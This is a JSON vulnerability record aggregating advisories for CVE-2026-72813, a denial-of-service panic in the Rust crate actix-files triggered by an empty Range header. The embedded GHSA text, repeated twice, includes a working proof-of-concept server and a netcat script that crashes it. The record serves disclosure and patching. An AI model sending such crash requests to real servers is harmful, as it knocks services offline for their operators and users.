{"id":"CVE-2026-72813","aliases":["EUVD-2026-58628","GHSA-gcqf-3g44-vc9p","GHSA-v47c-94r2-rjm7","SUSE-SU-2026:23572-1","UBUNTU-CVE-2026-72813","openSUSE-SU-2026:21689-1"],"status":"published","title":"actix-files before 0.6.10 Denial of Service via empty Range header","description":"actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00565,"percentile":0.47445,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-248"],"published":"2026-02-06T19:00:12Z","modified":"2026-10-31T02:30:30Z","fixes":[{"ecosystem":"crates.io","package":"actix-files","fixed_in":["0.6.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"actix-files","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.6.9"},{"fixed":"0.6.10"}]}]},{"source":"osv","ecosystem":"crates.io","package":"actix-files","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.10"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"gstreamer-devtools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.26.7-160000.2.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"gstreamer-devtools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.26.7-160000.2.1"}]}],"bundled":6},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-actix-files","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.10-1"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"gstreamer-devtools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.26.7-160000.2.1"}]}],"bundled":6}],"products":[{"vendor":"actix","product":"actix-files"}],"references":[{"url":"https://github.com/actix/actix-web/security/advisories/GHSA-gcqf-3g44-vc9p","tags":["vendor-advisory","exploit","advisory","web","report"]},{"url":"https://www.vulncheck.com/advisories/actix-files-before-denial-of-service-via-empty-range-header","tags":["third-party-advisory","advisory","report"]},{"url":"https://github.com/actix/actix-web/blob/0383f4bdd1210e726143ca1ebcf01169b67a4b6c/actix-files/src/named.rs#L530-L535","tags":["web"]},{"url":"https://github.com/advisories/GHSA-gcqf-3g44-vc9p"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72813","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v47c-94r2-rjm7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/72xxx/CVE-2026-72813.json","tags":["advisory"]},{"url":"https://github.com/actix/actix-web","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623572-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1243178","tags":["report"]},{"url":"https://bugzilla.suse.com/1249015","tags":["report"]},{"url":"https://bugzilla.suse.com/1257914","tags":["report"]},{"url":"https://bugzilla.suse.com/1274306","tags":["report"]},{"url":"https://bugzilla.suse.com/1275209","tags":["report"]},{"url":"https://bugzilla.suse.com/1275210","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4574","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58160","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25541","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25727","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72813","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72814","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-72813","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-72813","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-72813","title":"actix-files before 0.6.10 Denial of Service via empty Range header","description":"actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.","status":"published","published":"2026-08-14T11:35:26.123Z","modified":"2026-10-29T21:16:48.549Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:19:51.663093Z"}],"euvd":[{"id":"EUVD-2026-58628","description":"actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.","status":"published","published":"2026-08-14T11:35:26Z","modified":"2026-10-29T21:16:48Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:59:13.894662Z"}],"ghsa":[{"id":"GHSA-gcqf-3g44-vc9p","title":"[actix-files] Panic triggered by empty Range header in GET request for static file","description":"### Summary\nA GET request for a static file served by `actix-files` with an empty `Range` header triggers a panic. With `panic = \"abort\"`, a remote user may crash the process on-demand.\n\n### Details\n`actix-files` assumes that `HttpRange::parse()`, when `Ok`, always returns a vector with at least one element. When `parse()` is called on an empty string, it returns `Ok(vec![])`. This can cause a panic at named.rs:534 when handling an HTTP request with an empty `Range:` header. This shouldn't significantly impact programs built with the default `panic = \"unwind\"`, as the only effect is that the connection is closed when the worker thread panics and new threads are spooled up on demand. Programs built with `panic = \"abort\"` are vulnerable to being crashed on-demand by any user with permissions to perform a `GET` request for a static file served by `actix-files`.\nhttps://github.com/actix/actix-web/blob/0383f4bdd1210e726143ca1ebcf01169b67a4b6c/actix-files/src/named.rs#L530-L535\n\n### PoC\n\u003cdetails\u003e\n\u003csummary\u003eMinimal reproduction\u003c/summary\u003e\n\n`Cargo.toml`:\n```toml\n[package]\nname = \"example\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nactix-web = \"=4.5.1\"\nactix-files = \"=0.6.5\"\n\n[profile.dev]\npanic = \"abort\"\n```\n`src/main.rs`:\n```rust\nuse actix_files::NamedFile;\nuse actix_web::{get, Responder};\n\n#[get(\"/\")]\nasync fn index() -\u003e impl Responder {\n    NamedFile::open(\"test_file\")\n}\n\n#[actix_web::main]\nasync fn main() -\u003e std::io::Result\u003c()\u003e {\n    use actix_web::{App, HttpServer};\n\n    HttpServer::new(|| App::new().service(index))\n        .bind((\"127.0.0.1\", 8080))?\n        .run()\n        .await\n}\n```\n`test.sh`:\n```sh\n#!/bin/bash\n\necho foo \u003e test_file\ncargo b\ncargo r\u0026\nsleep 1\nnc 127.0.0.1 8080 \u003c\u003c EOF\nGET / HTTP/1.1\nRange:\n\nEOF\nkill %1\n```\n\nCreate these files, then run `chmod +x test.sh \u0026\u0026 ./test.sh`. The server should start, then crash upon receiving the `GET` request from `netcat`.\n\nThis assumes a reasonably UNIX-like system with Rust, `bash` and `netcat` installed.\n\u003c/details\u003e\n\n### Impact\nIt is believed that only programs compiled with panic = \"abort\" are affected significantly. The only potential impact that can be seen is Denial of Service, though an attacker able to repeatedly send GET requests without those requests getting blocked by rate limiting, DDoS protection, etc. would be able to keep a server down indefinitely. As only a single unblocked request is needed to trigger the panic, merely having a rate limiter may not be enough to prevent this.\n\nThough the impact in the worst case is significant, the real-world risk of this vulnerability appears to be limited, as it would be expected that anyone for whom uptime is a significant concern would not compile their program with panic = \"abort\".","status":"published","published":"2026-02-06T19:00:12Z","modified":"2026-02-06T19:00:13Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:39:23.728882Z"},{"id":"GHSA-v47c-94r2-rjm7","title":"actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range...","description":"actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.","status":"published","published":"2026-08-14T12:31:24Z","modified":"2026-08-14T12:31:34Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T15:10:28.576497Z"}],"nvd":[{"id":"CVE-2026-72813","description":"actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.","status":"published","published":"2026-08-14T12:16:44.26Z","modified":"2026-10-29T21:17:32.117Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:12:37.557758Z"}],"osv":[{"id":"CVE-2026-72813","title":"actix-files before 0.6.10 Denial of Service via empty Range header","description":"actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.","status":"published","published":"2026-08-14T11:35:26.123Z","modified":"2026-10-31T02:30:30.584871135Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T15:45:15.88521Z"},{"id":"GHSA-gcqf-3g44-vc9p","title":"[actix-files] Panic triggered by empty Range header in GET request for static file","description":"### Summary\nA GET request for a static file served by `actix-files` with an empty `Range` header triggers a panic. With `panic = \"abort\"`, a remote user may crash the process on-demand.\n\n### Details\n`actix-files` assumes that `HttpRange::parse()`, when `Ok`, always returns a vector with at least one element. When `parse()` is called on an empty string, it returns `Ok(vec![])`. This can cause a panic at named.rs:534 when handling an HTTP request with an empty `Range:` header. This shouldn't significantly impact programs built with the default `panic = \"unwind\"`, as the only effect is that the connection is closed when the worker thread panics and new threads are spooled up on demand. Programs built with `panic = \"abort\"` are vulnerable to being crashed on-demand by any user with permissions to perform a `GET` request for a static file served by `actix-files`.\nhttps://github.com/actix/actix-web/blob/0383f4bdd1210e726143ca1ebcf01169b67a4b6c/actix-files/src/named.rs#L530-L535\n\n### PoC\n\u003cdetails\u003e\n\u003csummary\u003eMinimal reproduction\u003c/summary\u003e\n\n`Cargo.toml`:\n```toml\n[package]\nname = \"example\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nactix-web = \"=4.5.1\"\nactix-files = \"=0.6.5\"\n\n[profile.dev]\npanic = \"abort\"\n```\n`src/main.rs`:\n```rust\nuse actix_files::NamedFile;\nuse actix_web::{get, Responder};\n\n#[get(\"/\")]\nasync fn index() -\u003e impl Responder {\n    NamedFile::open(\"test_file\")\n}\n\n#[actix_web::main]\nasync fn main() -\u003e std::io::Result\u003c()\u003e {\n    use actix_web::{App, HttpServer};\n\n    HttpServer::new(|| App::new().service(index))\n        .bind((\"127.0.0.1\", 8080))?\n        .run()\n        .await\n}\n```\n`test.sh`:\n```sh\n#!/bin/bash\n\necho foo \u003e test_file\ncargo b\ncargo r\u0026\nsleep 1\nnc 127.0.0.1 8080 \u003c\u003c EOF\nGET / HTTP/1.1\nRange:\n\nEOF\nkill %1\n```\n\nCreate these files, then run `chmod +x test.sh \u0026\u0026 ./test.sh`. The server should start, then crash upon receiving the `GET` request from `netcat`.\n\nThis assumes a reasonably UNIX-like system with Rust, `bash` and `netcat` installed.\n\u003c/details\u003e\n\n### Impact\nIt is believed that only programs compiled with panic = \"abort\" are affected significantly. The only potential impact that can be seen is Denial of Service, though an attacker able to repeatedly send GET requests without those requests getting blocked by rate limiting, DDoS protection, etc. would be able to keep a server down indefinitely. As only a single unblocked request is needed to trigger the panic, merely having a rate limiter may not be enough to prevent this.\n\nThough the impact in the worst case is significant, the real-world risk of this vulnerability appears to be limited, as it would be expected that anyone for whom uptime is a significant concern would not compile their program with panic = \"abort\".","status":"published","published":"2026-02-06T19:00:12Z","modified":"2026-09-10T03:50:34.968314238Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"UBUNTU-CVE-2026-72813","description":"actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.","status":"published","published":"2026-08-14T12:16:00Z","modified":"2026-10-17T12:59:35.291070627Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:57:08.628462Z"},{"id":"openSUSE-SU-2026:21689-1","title":"Security update for gstreamer-devtools","description":"This update for gstreamer-devtools fixes the following issues:\n\n- CVE-2025-4574: crossbeam-channel: internal `Channel` type's `Drop` method has a race condition that can lead to a\n  double-free and memory corruption (bsc#1243178).\n- CVE-2025-58160: tracing-subscriber: untrusted user input containing ANSI escape sequences can be injected into\n  terminal output when logged and lead to terminal manipulation (bsc#1249015).\n- CVE-2026-25541: bytes: integer overflow in `BytesMut:reserve` can lead to undefined behavior and crashes\n  (bsc#1274306).\n- CVE-2026-25727: time: parsing of user-provided input by the RFC 2822 date parser can lead to stack exhaustion\n  (bsc#1257914).\n- CVE-2026-72813: actix-files: empty `Range` header in GET requests for static files can lead to a process crash\n  (bsc#1275210).\n- CVE-2026-72814: actix-files: non-existing folders passed as an argument to the `actix_files::Files::new()` method can\n  lead to information disclosure (bsc#1275209).\n","status":"published","published":"2026-08-30T14:39:29Z","modified":"2026-08-31T18:15:04.209335775Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23572-1","title":"Security update for gstreamer-devtools","description":"This update for gstreamer-devtools fixes the following issues:\n\n- CVE-2025-4574: crossbeam-channel: internal `Channel` type's `Drop` method has a race condition that can lead to a\n  double-free and memory corruption (bsc#1243178).\n- CVE-2025-58160: tracing-subscriber: untrusted user input containing ANSI escape sequences can be injected into\n  terminal output when logged and lead to terminal manipulation (bsc#1249015).\n- CVE-2026-25541: bytes: integer overflow in `BytesMut:reserve` can lead to undefined behavior and crashes\n  (bsc#1274306).\n- CVE-2026-25727: time: parsing of user-provided input by the RFC 2822 date parser can lead to stack exhaustion\n  (bsc#1257914).\n- CVE-2026-72813: actix-files: empty `Range` header in GET requests for static files can lead to a process crash\n  (bsc#1275210).\n- CVE-2026-72814: actix-files: non-existing folders passed as an argument to the `actix_files::Files::new()` method can\n  lead to information disclosure (bsc#1275209).\n","status":"published","published":"2026-08-30T14:39:08Z","modified":"2026-09-29T18:23:09.296200538Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}